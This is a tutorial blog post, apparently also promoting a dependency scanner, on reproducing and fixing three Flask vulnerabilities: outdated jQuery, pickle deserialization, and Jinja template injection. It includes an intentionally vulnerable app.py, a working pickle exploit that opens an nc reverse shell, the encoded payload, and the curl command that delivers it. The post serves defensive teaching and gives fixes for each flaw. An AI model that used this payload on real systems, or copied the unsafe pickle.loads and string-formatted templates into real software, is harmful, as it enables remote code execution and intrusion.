Reverse Engineering Common Python Vulnerabilities to Solve Them

Reproducing & Removing Python Web Apps' Common Vulnerabilities

img Photoby FLY:D on Unsplash

We often expose our apps to typical security flaws. When working with Flask, a beautiful and lightweight micro-framework for constructing web applications in Python, it's easy to overlook minor flaws when creating, testing, or deploying our projects.

[Note: In 2015, Patreon got hacked as a result of this, which led to 15 gigabytes of data being stolen and published online.]

A typical engineering pain point is reproducing vulnerabilities reported in a pentest report. However, matching developer talents to the pentest tooling can help in confirming concerns and deploying patches more quickly. In this article, we will look at how to reproduce and remove common vulnerabilities with Python web apps.

Making a Simple Flask App

pip install flask

If you haven’t installed Flaskalready, please do so before proceeding with the steps below.

Make sure your working directory looks something like the one below. Create empty files to maintain structure, and we will fill them up right away with vulnerable code and gradually learn to fix it.

1.png

Start with index.html and keep it simple:

<html>
<head></head>
<body bgcolor="green">
    <center>
        <h2>Simple Flask App</h2>
        <p>Test 1</p>
    <center/>
</body>
<script src="https://code.jquery.com/jquery-3.1.1.min.js" type="text/javascript"></script>
</html>

Adding Vulnerabilities Into your app.py, copy the code below:

from flask import Flask, jsonify, render_template, render_template_string, request
import pickle
import base64

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/vulnerability1')
def login():
    return render_template('index.html')

@app.route("/vulnerability2", methods=["POST"])
def hackme():
    data = base64.urlsafe_b64decode(request.form['pickled'])
    deserialized = pickle.loads(data)
    # do something with deserialized data or simply get pawned
    return '', 204

@app.route('/vulnerability3')
def hello_ssti():
    person = {'name':"world", 'secret':"UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=="}
    if request.args.get('name'):
        person['name'] = request.args.get('name')
    template = '''<h2>Hello %s!</h2>''' % person[‘name’]
    return render_template_string(template, person=person)

# runs on machine ip address to make it visible on network
app.run(debug=True, host='0.0.0.0')

Detecting Vulnerabilities

Upon analyzing app.py, we see three routes clearly defined for the three types of vulnerabilities we will discuss here.

CVE-2020-11022:

In jQuery versions 1.2 or later and before 3.5.0, passing HTML from untrusted sources (even if sanitized) to one of jQuery's DOM manipulation methods (.html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.

We will use an open source tool called WhiteSource Bolt for this demonstration. Bolt is a free tool to assist with compliance issues and security alerts in your application - it can be used with GitHub and Azure DevOps. Its primary purpose is remediation of open source vulnerabilities.

Go to the GitHub page of the app.

After a quick install, you should be able to activate Bolt scans for every time you push to the repository. Once the free trial is set up, you can utilize WhiteSource Bolt for scanning vulnerabilities at least 5 times in 24 hours on each push. This can be increased with a paid plan.

2.png

This is a ‘moderate’ level vulnerability and can put our web app at risk. We wouldn’t want that in an ideal scenario. Also, it is pretty easy to skip past this one.

It happened because of the following line:

<script src="https://code.jquery.com/jquery-3.1.1.min.js" type="text/javascript"></script>

Not many people would realize that a small upgrade in their jquery version can save them from a possible exploit. For large-scale projects, we could never go about checking every dependency for possible vulnerabilities every time the code is pushed before deployment. To start code scanning, we simply push the code to the repo where we initially set up WhiteSource Bolt.

3.png

With our expected #11022, we also discovered a few other vulnerabilities of similar types that would have otherwise gotten shoved under the carpet and made it to deployment. The GitHub app for Bolt scanned our codebase using extensive databases like the NVD and additional security advisories and marked out the issues for us to track them.

4.png

Apart from pointing out the vulnerabilities, it also gives us details and fixes for the same.

5.png 6.png

Hence, simply upgrading our jquery version to 3.5.0 will solve the issue since most dependency packages come with vulnerability fixes and patches.

CVE-2021-33026:

The Flask-Caching extension through 1.10.1 for Flask relies on Pickle for serialization, which may lead to remote code execution or local privilege escalation. If an attacker gains access to cache storage (e.g., filesystem, Memcached, Redis, etc.), they can construct a crafted payload, poison the cache, and execute Python code.

In the exploit.py file, copy the code below. This implements the remote command execution on our vulnerable Flask app using pickle serialization and then converts it to encoded text to be fed to the application accepting pickled data through POST:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))
(base) plastic@lenovo-ideapad-slim5:~/dev/sample$ python exploit.py
b'gASVbgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFNybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI-JjEgfCBuYyAxMjcuMC4wLjEgMTIzNCA-IC90bXAvZpSFlFKULg=='

Finally, we'll set up a netcat listener and transmit the payload to our Flask application that's listening. In a different window/pane, open the netcat listener for reverse shell.

nc -nvl 1234
curl -d "pickled=gASVbgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFNybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI-JjEgfCBuYyAxMjcuMC4wLjEgMTIzNCA-IC90bXAvZpSFlFKULg==" http://192.168.43.84:5000/vulnerability2

In simpler words, we reproduced this particular type of vulnerability by unpickling data that comes via a POST route. Do not unpickle untrusted data. It doesn’t matter whether you receive this pickled data from anonymous users over the network or if it was passed to you to restore a session or program state.

If you need to interact with untrusted data, consider signing it if it might have been tampered with on the way to you or on disc, or choose another (safer) serialization approach (like JSON), as per the documentation. When storing pickles on the filesystem, it's also a good idea to check the file permissions to avoid privilege escalation through pickle modification.

Jinja Templating:

Jinja 2 is a modern and design-friendly template language for Python, which is modeled on Django's template and is a part of the Flask framework. It will replace variables with the corresponding value provided by the template parameter {{variable}} block.

The code under the route for this vulnerability looks just fine. Notice the person object with their name and secret in the code. Yet, let us run our Flask app here and see what’s wrong with jinja:

7.png

When we navigate to the route ‘/vulnerability3’, it seems to work just fine. However, if we do a little tweaking with the URL:

8.png

Now, that wasn’t a major concern until somehow the attacker tried various combinations to get your secret (usually saved as ‘secret’, ‘credential’, ‘password’, and other common names.

9.png

Secret exposed?

The problem is caused by string concatenation or replacement. You presumably already know the solution if you're a Flask developer. Curly brackets are used to wrap variables in Jinja2 templates. We can prohibit user-entered data, including template syntax, from running within the context of our server by putting our output behind these brackets.

Changing just a tad bit in our code will ensure we keep our secrets safe:

template = '''<h2>Hello {{person}}!</h2>'''
return render_template_string(template, person=person['name'])

10.png

Conclusion

Pen testing by hand can be useful, but it is time consuming. This is especially true in the case of larger projects. They are harder to pen test and require a significant amount of effort. Pen testing done manually is prone to human error. Thus, utilizing a tool is recommended. WhiteSource Bolt also delivers email notifications regarding your scans and any anomalies found along with the following information:

11.png

Any open source components utilized to construct a company's software should have their security and patch levels checked by developers. Using tools like WhiteSource Bolt can automate and simplify this process for larger projects.

For those who want to first get some hands-on experience before investing in a tool, the standard tactics that usually fix problems are: Update components to patch a security issue. In a worst-case scenario, put a virtual patch in place using a web application firewall or other runtime measure by checking whether the software components and their dependencies are up to date.